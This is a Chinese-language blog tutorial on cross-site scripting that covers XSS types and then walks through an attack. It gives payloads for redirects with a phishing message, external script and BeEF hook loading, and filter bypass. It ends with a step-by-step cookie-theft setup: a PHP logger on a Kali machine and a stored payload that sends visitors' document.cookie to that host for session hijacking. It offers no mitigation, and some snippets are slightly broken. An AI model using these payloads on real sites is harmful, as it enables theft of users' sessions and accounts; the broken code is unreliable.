xss介绍
xss跨脚本攻击,跨站脚本(cross site script),为了避免与样式css混淆,简称xss,xss是一种经常出现在web应用中的计算机安全漏洞,也是web中最常见的攻击方式。
什么是xss呢?xss是指恶意攻击者利用网站没有对用户提交数据进行转义处理,或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,使别的用户访问都会执行相应的嵌入代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。和CSRF一样,都是用来对客户端进行攻击的。
xss攻击危害
1、盗取各类用户账号,如机器登录站好,用户网银账号,各类管理员账号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商用价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者及其向其他网站发起攻击
常见xss类型
常见的几种xss类型:反射型,存储型,DOM型
反射型(reflected)
利用类似检索框存在的xss漏洞,却不能存储xss脚本,只能有道用户去点自己插入了xss脚本的链接,然后进行操作,类似我们的钓鱼网站。
存储型(stored)
利用类似于留言板的地方,可以把你输入的语句保存起来的网站,如果这种网站存在xss漏洞,能够进行跨站脚本攻击,把脚本存储进服务器的网站后台,用户进入这个网站就会触发这个脚本,这个脚本如果是写成把本机cookie发送给攻击者,攻击者拿到cookie,利用cookie登录账号进行对账号的操作
上面是一个存储型的xss,已经注入了一个脚本进去,只要别人进入这个页面他就会执行这个脚本。
.
.
脚本的构建
构建xss脚本,会用到html,js
常用函数
弹窗警告
<script>alert(‘xss’)</script>
这个脚本实现弹窗提示,一般作为漏洞测试或者演示使用,这个js脚本实现弹窗提示,一般作为漏洞测试或者演示使用,一旦此脚本能执行,也就意味着后台服务器没有对特殊字符做过滤<>/’,证明这个页面存在xss漏洞
<script>alert(document.cookie)</script>
弹窗内容为自己的cookie
<iframe src=http://www.baidu.com width=300 height=300></iframe>
页面嵌套
<script>window.location=”http.baidu.com”</script>
页面重定向
接下来演示一下xss的应用
弹窗警告并重定向
<script>alert("这个页面已失效,请移步到我们的新站");location.href="http://www.baidu.com"</script>
这里就是结合了一些社工思路,通过网站内部私信的方式发给其他用户。
如果其他用户点击并且相信了这个信息,则可能再另外的站点重新登录账户(克隆网站收集账户)
访问恶意代码
<script src='http://www.baidu.com/xss.js'></script>
结合BeEF收集用户的cookie
巧用图片标签
<img src="www.baidu.com" onerror=alert("xss")>
<img src="javascript:alert('xss');">
<img src="http://BeFF_IP:3000/hook.js"><img>
网站存在过滤需要随机应变来编写能够绕开过滤的脚本
绕过大小写<ScrIpt>alert('xss')<SCRipt>
字符编码可以采用URL,Base64等编码
在存储型的xss注入中,注入成功后这个脚本将会保存到网站后台中,每当有用户成功访问这个网页,都会自动执行这个脚本,留言板就是一个典型的存储型,在这里输入成功的语句都会被保存在后台数据库中
这就是一个留言板注入进的xss脚本,一个js的弹窗警告,注入成功后被系统认为是代码,执行了这个代码使得页面进行弹窗
攻击运用 :获取cookie;渗透机kali linux端操作
1.构建收集cookie服务器
2.构造xss代码并植入到web服务器
3.等待肉鸡触发xss代码并将cookie发送到kali
4.cookie利用
接下来利用xss来进行一次实操,利用到PHP脚本,BeEF工具(这个更方便)
1构建收集cookie服务器
这里我们用kali作为这个服务器
2构建收集xss代码并植入到web服务器
root@kali:~# vim /var/www/html/cookie_rec.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie . "\n")
fclose($log);
?>
这是一个简单的收集cookie的php脚本
赋予这个目录权限
通过渗透机植入xss代码:
<script>window.open('http://1.1.1.1/cookie_rec.php?cookie='+document.cookie)</script>
1.1.1.1是kali机的ip,也是/var/www/html这个目录
3.等待肉鸡触发xss代码并将cookie发送到kali
注入成功就等待目标进入这个网页触发这个脚本,然后他的cookie就被保存到了/var/www/目录下面的cookie.txt文本中
4.cookie利用
cookie拿下后可以进行别的一些操作,可以利用到BeEF来控制目标浏览器
这里附上一篇使用BeEF的文章,也是我的嘿嘿
BeEF工具介绍